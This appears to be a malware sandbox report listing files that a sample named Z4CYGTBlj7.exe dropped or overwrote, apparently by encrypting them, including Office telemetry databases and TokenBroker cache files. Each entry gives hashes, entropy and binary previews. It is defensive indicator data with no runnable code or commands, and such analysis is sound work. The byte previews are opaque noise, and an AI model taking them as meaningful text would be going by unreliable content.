Preview:	.<?D......FJ..'*..2.u.-..a.SF.N...<._{.M2.I..Q.....0bk.....L=.k.......Z..eC.... .&...a9#..:..~...@..NyX.DA...u......$.Kc..'.-...N-.............Z.{u...&.g..e....]....... ..94d.R/.[{.j..U.`...F....t.AM..mf..%....s3."]S....E-....q.......\|4..H... ..K.c..&L.Tqbn..M...c....Yiw....P .....\|...F26..9....{..e).;.....{'Hl>'......LX.&.Q)..N).].J{.`...R..7B....T..tl...a.~}.....o...w......?.G>..Q.....!..........jV.A.....!I+.....-.5..r.....-..Z.9.Z8.....U:..jM.n>..P..,..]R......7O.r{.....X..j....:5...,/..br^!..,(.t3.A.:.o..".m.o.?..L5.y...Z..PO....X.....5s. ..!.$....B.}.+ "\|+.:..ET...f........(.v..gN..2.?+.._.........V....K.4...OgT.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.712247407211065
Encrypted:	false
SSDEEP:	24:E46je9L3PdEZ+P3awesrkLsjvnguifsbD:E4IcY+C/Qj0mD
MD5:	369D1571A75038E5B93A26C7F449F2ED
SHA1:	7BB47FF75E4E889A62C4F7EC2C9D367887072638
SHA-256:	9E09978C9F300A65162E3C110762D4B723C21F72D101E4639A4436A09C6769C7
SHA-512:	D6D5FFE78CFBD490560161D0EDE3E1CD15EFDFD66DF77029B6E1D02EC686403235A979DDBBCA170A6B2F68847B4F5B61E88B8D4BB80206CEDFEFDBE1ED63130B
Malicious:	false
Preview:	.<?O...} .........._./..LP/......n.81.i5i.r..\e{..t.+.=...m....l..+.v<^...D&b]z.[.........V..E.t.".....................u.!.O....l..X....q.M.BH..{b.{BKX{.a..E.qQ...._\W.s...k.G....!../Sk.Zl.5.-t\s..lNAQ..../4=C..U...3...\..h...HeAD#j.4..]^d.$...J>......8.D..~?.p..E........e..)..^<6/.G...V.u.HfbN.Z..6K..,...Dq6.....4.aE..\|..>}.%b.T...Q...<...._f9.Z..!....].5.$..w}n.5....m..D4......j>......]....<.xt.R.B..S.i....t.3.Q.Z..F}.b.V...E"{.+."$....>=.n.=..a{.vM...#...s.(.4^5....,H........n`.E.a.0...hr?....$.C...:8..ek...... ...d]..R.Tr..;..]]..`.l(...Anz.[T.R.n....qJ...E<......U.s..G....t.$.&"..........u......\............T.'.XR?.I..H..R.+2.m\|Y..;0......8W.u...J6.1...m*jI.y.q..)..u..#.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.663338070506606
Encrypted:	false
SSDEEP:	12:R5SAkkcy5COBMTqt5VOhh/zMxgWV0Csqrs7dDtv6RESzY9dDpZYE/5fjnoljhghR:RwVy7qTqbVOhhbGX0CzEdd6RESzAd4c7
MD5:	E19FE601F8D81D69977841D684D2645F
SHA1:	DF57609275CFFD808D07B34862F7B94BA9A49818
SHA-256:	250E552BBE6EFC513DFD62E7D13CEEEFC8F225EE016B07FC53D02BA3BF1AB9FD
SHA-512:	7918F04691E107BFB82EE8AA09823533566632C31548DF14ABCD9ED896E916F496D25F6CB039C8539BD6F7798E198CDF3DAC95C9DFB2D5E767DE20999F75CABC
Malicious:	false
Preview:	.<?.sv.....~.6.....E...rtc..L_.....].V."...P.lYr.3<yr}`9.?\|k.y..ZN6...E...K..Wr..{..n....3...-..5.\|...\|j[O..@....p~>(.E.7. .T...>..K..Z....aC.c...B..w.k..{$.sCx.! ...z".P^I......E.G,=...j.?.C.UM>-.....i.-....c0.`j..<.kTd.%.M@cP.O.m~.........v)..........B].).{.....bR...#D.....Z.4...I..3..v..3W.c.a[.9.'6..d...,..=d.W...o.W.7J.!.Okp. .3..'....s........I.C0......CRN.C..)^..E>.b.P.....WZ..K....b....3..e..q.......j..0:..K.W5.`.0Vu.R....&6E.iy.3Q.M...l...R..E5...s.TK@$...V{......=`..8.G....._...t.8....!7.A....=.CmG..=...>I)r..D#.....k.%."..)......_.N.^`../h.w...............b;.?.p.o..@..y....?...DF'..I..{....!.?.ah....X.T....dU.#Sc...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.678513810650053
Encrypted:	false
SSDEEP:	24:qWY9vsehGzV0J/w/AG8YyeyNoHB9+1ACAExoYyaCxuWfsbD:xYdsdiJ/w/AGMoHL+9JyatomD
MD5:	745635FD04001DF997C433F90DEC6BDC
SHA1:	DCECB00D842ED4BBE915B29CDD2796E807B34633
SHA-256:	C5038E8F58868BB10D470D2CB056457A4E7FB7BA4D94D4FD550E2266EC4C4106
SHA-512:	FDF72360DCD4C9B6CF08D6DEC0A6501005E8C7F6D172A8ED7883F86DAC7BE6B69C068172A5F642B3E1234EBD3EA8AA296B8842E9644CFF32AA21D133A0AF9460
Malicious:	false
Preview:	.<?[....#..0..B........{O.....q.i+I#q3.....O.i4..9H...=W'S)_9....d.)nL.l#.l2..$.g....%...a.=.C...P......k.t0..]!.H..W..x.2.}E.`....p.(`/.{..=.\?.f1...Z}.mC..u4{..d......P.04..q..DE.W...Y. .cq..^o.P..@.MEr../.+..T..k.}...fB.c.y.2.nT.....%.uc ,.Y".C.^.#.-.p...c.c..E:..DJ..0.u/...(.Onq.`.1.1@.W.N..Td!..?.5.0..N3SQ....AS.s. ....:...........Po...k.z.1..7.W....1..x1.(..P..qI...Bs..~D.&K...$.h.1..R......N4.,8....`K...B.[.3.i....nK.. ....lq..?q.FI\<[....H..Z.....{6~..6x\..;....u.\....PG.".r...O.Z.d~.W...V8M-.Q......7d.....-3..... s_... )..J.AN.......-d.Q...Y.\|t3..8.R....._,n?..N....e5xj[..4yZ...n.k.M...i.z..)x(..B....B.......!..,X..h....1...../.....f..L....!........7.)G.K[e.-.....&..5F.H..+q.r.izS8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.820453447640842
Encrypted:	false
SSDEEP:	24:0yr5h5YOwQo2zBl1nKquAZUEQ4BinUrvTKFv80vssEdjRq9jH0DJNet/sbD:zr5LYOHzT8abKFvtvssEq9jH0dNeRmD
MD5:	961992589603F6A6F4311668C9C4E800
SHA1:	0B6D650BCE0727D908F52168D2E0EB9207D5294C
SHA-256:	B945AA3B9BEE0FDCC249CE1D89FB7FB5A04D741E71C1A1D479FEA07F8BD8E3EA
SHA-512:	D61B84F9DFEF271791B07F2BEE072A6BC3FB6DB8B07B60B0833F31EDAA29E4DF01265633D1540CA7F12237E1CF600F06D505645D6A02C3E58F026962D6FC0C24
Malicious:	false
Preview:	3.7.4..Z.....b1.b.......f...>....v6.<.....z%...c6..{2.$;..U7.....2.....O.VL.:.,b<.....I.....Z.]...<.=8..XY.8....}.Bf>S.k...t`$;.R.$.i.i..D.....KGf.6".F...?K.~%0...i.i.2..:.4....#.....H.2.9...R.>....._....P.....yY..l<..'....Rz...\|.5..B...1...O!.......!..}.L.eA.K....S.....B8..C...\|n...#...........y.H.....&.}f..ou)....Y..<}Y../.;..0.K...I.....j.......'[^..T.p.._....%.[..J.".......j..se7.....7..K.WY+.O....>........glV3>d..-..u.<..v.l!m...N.E..B;J.[...#8........^.?aZ.....!z....^....Lsb.:..0.B_.#..I...\|.C'i....X.xv....K..Y..c8. ..8Pj.......Dt..P....#0>h....C.A.2"...`H.;.\<...2!.......7.....\|.[..5.Np..P?............`!O{..D....H\|.$..v....aa0[.J.....b......e.:,.x(...m.f.n..r..`.+4.....T.........dl...AjR....2..\|...W.<.n.....X......o.m.W.tRmqg.....N..s.2.O..K..w3?.c%4/.=>..#.J...<1....PN..}DNbl.~....Z.,..%uIP%.7.."(@.g....E.(v..5 .. .3.XSAP#........z!..UO..._...6:..Tv.OxgP 6<.~dnG..4.\o.~.L.@..PF...._$..(.A....6.Q,.N.<....".lz....

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992629792818393
Encrypted:	true
SSDEEP:	768:YuSM1DmcdJE6MGpBbjkyh+LIqVZi59iiI:YuSM1hJbMGnXMI159bI
MD5:	9035D2067158DD772E29FD3B98BB3505
SHA1:	1F66D3AF333E518C98206887DB0942FAF2293BBF
SHA-256:	67A841D174E2B2382D9F0343D1F3D4CC60740E616653C924C27763E72BDC0906
SHA-512:	8897B8853E35F49CBB4791CECC8BD81828032A18CA324347C8BC1406D8A68C98E9F0F6A79EE5EC13130A55E4FC60ADABF9B25077715A6A7C4D3BD4CC91818332
Malicious:	true
Preview:	SQLitF..G.r..y......b...F)N.N...44..))7.....I...u..X].-.&.zI.F..^.....s%.W~.._V..E...l.........).K..V._H.r.F{....9^TAy.R.>..[}..\|....P....P......9AlcT...C.7...Z.8I......e..{g...W..rhn..z.v....IW..hG.r.R..I..]NB....?.2.f..j..!.4.".../.2...r..L.....Z..#..a...?s.zv>.:..7.KI...B.Myi......2!4.A.T.9.W...m.f.sz.....g..4..8.\|...a..lGt.o]_.l...o.. .W .!B..L...D...i'!qy..F\|........D.u...h....j(.3@...j./....r....%Q!+_....M=..6..=..dK.h.O.c......;..c....W.\|.ztv].r..U....5fY.......Q....^H..$^7..l..E......>...N.=./...IF\.0.C...{....Hf"S3...vT...m5Jr......tm.>*.?=..e.-{.L.7:..gP\|..&~.6..............60....h&d.....)zC.AZg...v....O.Gf7........B.s..z.....{..G{C.......e.-..jB.mIPBKq..9.TAaT.K....E..............a.B\.qa.....5.....h.8<.S}e=7.H.o.%....W.....:.J.}4.l.s26-...'...j.x. Mhd.!.^....c.?..\|. 7&.N.$..v.-U.......y..G'Q....^n..H.ucL5...=pWkr#a..(......Qp.Y'.u.N...A!...P.f.t0..)6...~/...j2..Wg.....J.m.iIZqUk..z%H.H..ay..=O.;..].).._t]...S..sa....1..ZH7..kDV..k..

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992098497602056
Encrypted:	true
SSDEEP:	384:DtlhD6IcCEjSOr5caup8A5gDiaq2eU2IfPvO10hdMKE7KJZDQ6sDoQDS/b9RuE:9enSGcaGh5gDJeU2mmyH1JZDFEG9RZ
MD5:	9F60806B418E236C52E93D2EC6894FB5
SHA1:	79B089CDD5CB1A51DC9DDDA6A98166ABEC2AFA98
SHA-256:	9EED7D3146387116E042C6D166E9182EEA7C5D2176926D14D26E0810F3D92061
SHA-512:	D3C1E3E16A711B7DAE28B9EE0CFA1A4C65FBF62F133A8C97FD282BDEA8EBE3195B97DD91DD3698B9A87CA7FE308E5F0DCF36869097825C0F251642D1B76C1C11
Malicious:	true
Preview:	SQLit.....6.-...4.....d.._..E+I..?.A..v.h'4...efz=..P.`..B.zz%.&G....e.BL.q..J.6.=<(.n{X^3.+6p...s..b3rM.e...?....%.Z.D...'..^yk...d.'.4....3uj\}.....M.k...O.F..>-...Ol#....7.?k....J....6?..$b.h..^A....h.0...mQ..8.,.o..>..R........y.U<.....f... g... ...I.!.7...g. .....6w..........].=1.~z;..s....}...Y.LS..}#..6..W)...2.2...VY...?q......~.....L.l.(.%..}..5..{#..._.5t....~.z)fBD..[PS.7......B.-.....c. '...m8.$..aJ...a..>..}...Q....?$..E/.d6.......b/...U.)W.$....#.w}.z...{G.O..0.3..C...H...s...V.....[....-..&.B.Y...{..`...:.O0z\d.<.7+j\B..A4...V4..e.sB$R...p.x.7..KM....v9.6i.@..b.UEK........,....i.v.....m.-.>..U..-f...^..YE.yD..c...M..U.:..9.R.4..'C.....w.0...}..<.P.wBJ.H.l...S..A.....>Y.D/...nO1.Q..oJ.~..M[XR..P.-....e...2!..)0.......0C.[..p..?t.E.... ..m.,)..5E.4R.rU...b>...../.{..8.'.....H......`...9..@...<.....Op.Y.O...C.^T.E.F..3...=..".^.......0.X?\%Z.\..h....I=.LC....oh.=.[kdk-w..B..}'..u.L&...A..+....ISo.e....

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991430877981079
Encrypted:	true
SSDEEP:	768:ss274cvKcQTctSeNZaiTOwY3IfeoJdSCD0JK:ssQOleGiTOwYYfbJdSQmK
MD5:	441AE9A7B04DD4CE1E6BFD7D43BFA1D1
SHA1:	B92972D37059899D9E6A1FB597819E5BAA18C746
SHA-256:	3DB9A7CE537385A520B5C6EC4120BA05DBB7E2068B2B89CC137DC7A5A3835C4A
SHA-512:	FE1106A2039942E59F6072F8A5453999CD2140AB54A4DFDA4B5DC0C254859DD0F44D650E27B9B7DA894168D68F15CB2B3D238171FAA08354B46D584F805859C9
Malicious:	true
Preview:	SQLit.K.........sDD..c...E...B2!.....<.?... .]..[W...7......=..Q...B..$........8..C<.6m^.o...u.zV..c....@PY.......Q.n..........G...."..J.&....G.1<E....z..V...H.rJ.R......`..;A.2j.[...&p...T...<?j.(.c.+X>..2...YK.m.[..MbMVi.K3..Sg.E!....P..%..1v.E1.,Q.v..9.`R..mL.^.....,.l....@Y...s^...{.<......L.?.pT.h.$.Y..9..<...hyh,...z...._l..&@..YT~..J..^,.@......#+.w.5.Z.#......]..."f<M...4../.3...2N~............SD.'O$...T.?.....R.7.^.&.;...1.]...li.....@..Te.....W\|\|...*&.]...3a.s,.v..}G.....22..X..G.JY...j~..h@....-.D.`......#..H.....N.6.......n'.=.....-..G.A..Kk..!.SQ..x.j..EK....$..@..Z..>....H.~n...a{...\.L.ly..[...Tz...8:.....>S.....6..$.t...MbR....h....x....K4.".y.wA&C........M.R......R.A...3......b.H...._&...[......S{.c.K........;...}.cr..P...+.R."5.[HlLy..,........j.DQ.r.P(.oXu.\.......wf.^...Y.>.A..?>....i;..w.Fw&.\".f.0...#....A.[r..#.....$G...]..$.%\c..),....Ds..7D..h..X.X.. ...x`...Gi...=...LO=...>...:..a.......X._..RR!..U......D...&

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.99381756886856
Encrypted:	true
SSDEEP:	768:zHKboQwOF//ogkFMidfOOgH4eqRP54xYkfKAi:zHK0QPF/Q9dWORewxk/i
MD5:	2E4CF1FD5436AB9B57C244AA8325F4B6
SHA1:	A298794E4877A0400B8E684EDEA47AB94C00B3FD
SHA-256:	3E9442F7B0924E68E24F226971B113668893F6D329E81C5C04840CFDFBEA205E
SHA-512:	EA9B4B9DDE3D23D19F2A1F1687A4E6659E7447B94FD9DF96573926EC75B92F9ADAB9617FA09A7D889CDADCDBD426E398601BC9D3490D406D649358E999867F38
Malicious:	true
Preview:	SQLit.M......6_.@......2.Y....U.CF3..[Yp...,...(.-...0AY.^J.-.Fv...S.SP.m.....c..J.sM....o<n9S.&N....9.ylW....e..#..x..om...m.... ....I4>....Bm.^Q.J{...K@...#..,...d......a..m..lK..$\|.y..].hu..gv..%.9.Fq......=........pf....5&:....V.21..a>.Hlx....b.`..B.\|...JA6.7\|....v....5..>Y...-q<....l..1.C.HI....LS....a...Bu...Z..:-...u.u..H..ij.......=2./.....{....Cm.....V8U...c..]..~.-@a"..A..-..J.....C..N8.....\jc.....vQ...eyI^m..8c'^..........!.^.\|.C..E.7..."g....pOe..@w-IMi.^NoL.\|....H.U.K+...A....be.H.N...A...I..e.....J..~h1[.e'0E....U.}..M[..l......T....Vf.[+F...g..w.uS..[....-........n..)_...Y..Z.x8f.,..k......4.p.\.Mu.<..4=....S.3..W..\^.3.n.)......a...U....8.N.U.Cd...(..B+V..."i5.......\.H.F.....,T.....K.f......+b....'...L........P......V....=.+.....m..E........>....m......L....l.&.\.$.....R:.......\|O.....{.K..~e_.Z...]e[Ic..oC.vV..w....B........)... /o.Xw...o.C_.{...E.pp.4.E7....r....I.....4t..............(.0...4).......2.1.AG.9

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.929303896694535
Encrypted:	false
SSDEEP:	48:XjavV7E0qK6tRacvBGCcxDymV40G1OzLVmZFTLLG4BDG2wkeG/1wmD:M7J6tTYRoaDGMLVUF/LtG5T+
MD5:	FA3F436EEB51D5823D46B00BA3AF9183
SHA1:	C94DAD79D24D58678DC0040C06F52B996EC781D2
SHA-256:	6F9D26C0E1508661F64E655B666F9BD73E64AE6D3329DC27E42F92076FE72CC9
SHA-512:	FCB1F31C5D4C91810DD7DC43632243FE12C96A6FC5AF5585C5973DB0735122B4EEF971AE103254C909686D6138836DFAC90C76EF71764620BA83E9889FB15172
Malicious:	false
Preview:	{.".T..{.E..L..A6^....~..!..g...t..#!.j...U..........#...YQ..G_.....9z..e...P\.G....+.....F..j.K.\|B.....:....1C.t.I.RL...{..d.X.."....F...Q..V.9.-..h..VLFV...)....<t.9P....E.....DJ.T...#.d...C+.Ci.../.D..'........j.\...T..N..Ty..u....8..x.j..6.....,.r....}.e`......?..u.....D...8%<s.....T\.dU.........#K.eW.k..O.........E..sS2d;.u5.,........WJ.^i:d...U..w:....<..!..xH..........Y=.r...?.j{.n6=Dg..(...l(.......c.9..J..V..0>.(....f...4j..,{[G=.........p.!....m`....2..z.J .N_....\....L.i.Z..d1..{..v.S............ .T...U.x...:.}K..v.h ..)+.=..nq.]..0...zY.M~....r2+....i.bo.......7.......Y..=^......GmfU..~.2..@:}e.1.[IIS..Y.. a..)......-...^....*&s.".....5....M.#.e.68a.;..C.^.D]..t....E..,..P.Ivw...>0.f.........;...nb....m..,^.......=......-.VEa..<NX.W..+W}.qP..E/.JQ.d.-..B......\.qk6,..=...h.w....$..^.R\HpS.)...?'w....o..R.n...Y)....'tSYh...0.U..D.HJ........p..(.75.k\{!...{.q3..`.L......r....&l.1J..lo....mC...K...l/ki.T....").T.....)...._[

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.908473455889725
Encrypted:	false
SSDEEP:	48:3ouOTDZW7gpQyMDT31trHH3k+yPWjF/AMDoXuEjFXGdxMpla7uSSB2McIJrf9ob+:3o3fWyM9lHH31MuFNz+FXGKa7r5crfSy
MD5:	627B0084789514728EBAE922DCB0E39D
SHA1:	D4EB53251DC92A9E58FBE50DD6027FC97800675C
SHA-256:	7C57D21BF14A09A8D4889745B6CB42E53B5D8E1E3CBD722B5A10F04BE762BE82
SHA-512:	F4A5669F162148D6090AEB0F7ECE41DA0A407320F89E3F55E9E35AA7A351B1BC10FA9E2AF682589645E3871EEB69BD53F11F5083DEF5347EF9C1C5C834976129
Malicious:	false
Preview:	{.".T.-=~.m2.I\.]...g.Hn...u.>.c[.<^.&o...}.9..S...@...(...Z;.K....5Z..(._....t/C....K.f...@....\.XS5....L..2...d(.....a.......E.2+.....y.3...V..........j....%.x<..gu.?..!...4g.0l.Q..W...i_.........,....:5:..:.K._P.!.b.J.......<......Y88..J.....g..A..;U..m.C+.CYm.......:GP.O.j...Ri..r.v.K.4q\|s.......6...^.-XX...M.fN...x.7{B...V.........Gw..3.<.t/.g...b..[....A$&.....a8...f3.PC.R.#3-.Ed..@5.w.~1La..0t.n..\|x.]n.........2.C..P.....?.......Y..9D.....$.,..h@I.!.=.YG../-A=..i..6.0I.;....2.]..d...K...."7.'....F.Cz.Y........M...F.?'_.).M.hc...</.'..G.........+.........K..Ce....a.....N1JufD1....$.B.eT..C.wy.n.D.K.8....s!..2...w....f\.v..:.....~..zI.Z...........V.e^.:.........y.$...<..:C..[.m....(.a;w..M..E.."...,...5Q.\|.B..........Z.A[...k2:.>.abJ.....8.u..3...=3..;...u-B..j.g..#);DO3...p.?..uP..v......&Xr4..."[...\.G..C-.n:a.oT[.j....41..K..=....ka...P;.2)J......rf..P.....I).N<A.B..... ....wT..X.gR.ZB.{.m.\..DD...-.g..T....M.O.r.2.an".2...AL....

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.939823626385774
Encrypted:	false
SSDEEP:	48:vnGHM4diq0vNsRZ2UwtuimxQqehnsgZiA3qUa+jg/TyoN3olWLcx2VOa2RiV642k:PodidOghtvYdcxr3q5WPoocHOalVPyq3
MD5:	B544DB4BF0C5D4996E290D60C5053961
SHA1:	FAE3276DB56AE71EE5DE222089527B8D969A1769
SHA-256:	5673D6A2CDB0764F026CC616E44125E058F0C07B7E56422B4BBB3E54FBFF02CA
SHA-512:	52F2785C4D40BF005C585750F01AD9F3897005FE4879B1E63201B2D7BE05EC2DEB22E6513CA07A79288DB8E98532BDFD0F0EC99AA2F4E769B934583E58601ECF
Malicious:	false
Preview:	{.".T..2%/?...bz.G..C.u.psZ..j`..H.......rU.G.$Q.c............".7%...m...<.....U....._.t.4o9......5f...Y...{.o...".. .Qx4..>...@..ro;....Os.....D.7....6)n..q.~......Q.E.....kJF,..^b...o..0.&..{/.u.....\|.c............[.".....n..+<........#......5\|xrr...B.B_.4N.l..*...D+JsH..e.....=......`>.x...O.(...K..hu:5.....%.......f...L(o.'f.,9PG...`0........gh.'..&}....;.w.DDy&....~4....^. 2.....l2....L;5o..U\;.?..i...,.....b.:.)..X.......F.X$I_.\|W\|.%.'g.....o}v..~....6......f.UQ........4...Md.X..j.o.8.....QJA.Y.1sf/..;.1...............2......_.n%.qJ`4.....`.u....c..u.?D.b..n.....O.Sz.s....g.\..oD.....].Z..'b.J..(.Zr.L..&7..de...S,,.'.N......9d..f.X.?........#....$hY.d.......zd.F.Cg.o.7....$.Iv....]...2X,l..e.......C...m....,.......OS..s.9y.^./.H..n......)....#.I....;.....[.A..]..$. ,KU..5YF.c..{.....0t..^....J..P.4q..\|.. .y(....0..tI......~$V...G0$..?.wy..$..??u..Y0~,.a.z6.s........+J.'....p.)..1.=.a.n3q...w..a.KJ. ......L.X.d'.c.....2.Ba ....

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.924123797377116
Encrypted:	false
SSDEEP:	48:ItdQ65uC5Geqg2ceAdV/fHjXBcNDuliI4J6BIP3RefvWW/2m3qF+aQZCmD:CQlEZ7fjXBcGiI4AIU0m3k+agC+
MD5:	DAB1FBC94C466D08B05C8EC7B22067BE
SHA1:	3C3C65D1162291C1FEDE3A8D044A6ED4A0DEDD72
SHA-256:	88A17397E70278E22308F2A7A250385DDE3F1D7C88CE490E4B51F0C15FB9C66C
SHA-512:	CC62C262AB1990F10D7D01436AEA6DDD2DD19C70B3B66034141C4A085977DC5189CA11A62F3204B7DC517BAEC4EFF858F7C1F6D64A8A6FF4C16BC44064A87BCB
Malicious:	false
Preview:	{.".T..'...q..l...x~........\56.X....CR_............_..p.yB...M..d...YU. y.0&c.i..._y.S... ....F..3J.......f..s{...Ry.P`.n.\........a.......7".7.......Cy,...<.$I.^......0...~N({..}.~....)0........dU.e...{"...e....K3./..l@...l_...F....$N....y.......4.l"N\|#j?...kv...8.r.&.c.X.(W{...1,B..6..y,.d..-j... '..:p......vO.n.........}i...(T.G...].......%^0`..fu#.57n..5%B?Y..V.N?..f...u....H...v..o.!Co~+..[.c,V..=.}(.`._.7]z...Z5..1...E..@1h........aI.M...$..HBUz .<...\.\.^Y....6.z.......;&.....</..x.P.tJ..8...#.c.E..YH..%=...`.(p.a-...s8Tx&I1...Y..m\|5$]......c...nz.=?.Z(s...J...f.....".Bm0.......f..0.&.a.o.(...F...L$....1~T.cN.BFA.G.`.=.5.\|......h....#9X...c.P.. ...[x.'h.cNs......Q.....].?..I,-...$.........i....%;.k8O...AB3Q1......#.....].`s`.{ \|w.%Z........".=......V.\|@....>d.../..a....v.....-...Ta....gM(.CpI..3u.....EI..b...&pK?PT...^..4K....m...!^...w...k.a.&...k.w K7..Fa4..+.......#n....L...g.l.<...mV.M/z.........g...,..b<....@1.L..W.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.958970302269885
Encrypted:	false
SSDEEP:	96:+MwpaTF1h4Q4Dl/II0sVTNBFVGcFOs9XG9XwaGIPWN6c8VxdPDr+:+oj4BII0sJCM9XgAW+Uc8VfLr+
MD5:	52882A6E4E102E6E20203F0C54A54CE9
SHA1:	5AAA951D58F7F6C5C8E679850AB8E8E499B9E3C9
SHA-256:	3E104E6564FD6813534F75A983DFF5274CE7F70C4FB9F36A56886642215CB307
SHA-512:	96A62EC8F2A82A3CE0323D80D8FE85E0133AB91A0A6EDF956D5225FA93F04966AF6DC468826D27C8379CCB6CB5CBCC610939A37D0599640924835925A890EC8F
Malicious:	false
Preview:	{.".T.w....H..1NE.0....dW5s_.x@...].I..". ..0.~..X`n>."4.f.uL....F..0bl..R.%~M..l...g$..!C^tq.C..2...........=e......2..L.........]R....g..H...e.=t.........q..e.7U.Z..=.~<..a....C...'.....j....%..d..3Y3.......M.Pf...X.l..!&.n.awL...p....\|Q.+.........).]...UA...@..9....%.".c...5..T.%d.\.....O.T.:...g...P.JA<......z..nkg.P[.......:....C..J.S..7 ..0@l.'.V#...=.../sVxz...O.PMi..:@3T....D.N.Q.......d6.......c3)...$..^....6..O]....J-.o .Q)lU.?...........b.~..@..m.zm..=..A...PC5=r..U..lQ..d9..?....'..g.....)...Pk#`.'.ZS.w....k.<S.....Sx.Y.]P..6H.!...#.u..V..\|B.".kd..,.........n..G.._C......qXC..Nc4.....Yy.=...L.....')...u.}....#..X.../.#..{......8..+..l.C\g.....M.l..YuM.y....8......6w....t..le..K.t#...sie.xiRU....\N...sdT.#.~..n,y.....(.b.e?..C.i.7..5r<.a.v.......t.........1-.../jd..>0.X.GX...+...K......>7E9.....a.0..S..}f../...#.d.W.$.B.A.J..0...mNa......r6.M..M....a....N.;(.R...m..G.a..1~..`.'r....(9..Sp...;\.....'!...e..QU.=........H....LX

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.937440489645511
Encrypted:	false
SSDEEP:	48:U6X9cK3HtZ0QQ0CfMvoEoBqB+6Thr4YsPzQGwTyW3SzgbfQJbs2wSfhKTz/T3zMv:BNcaNZm0CfM6qBgYs7DwTyW3ggbuJfhB
MD5:	0AEB3F67288827F7AFC544117A861BC1
SHA1:	74B5D08DFDF3AF0108C6A03533246D6166364803
SHA-256:	3189F7AC349DA850845FB15DE6CF7DC53D2FF7E65DD77ADF4310C828A95BF196
SHA-512:	B0709C7C887353267C87B5415F9156F8A36D894850A70496AA26576E9D9D82F267B01CE2A4622C9291436E4031D1769BB4AB6F352ED3ECA1187A835BCBE4B2E9
Malicious:	false
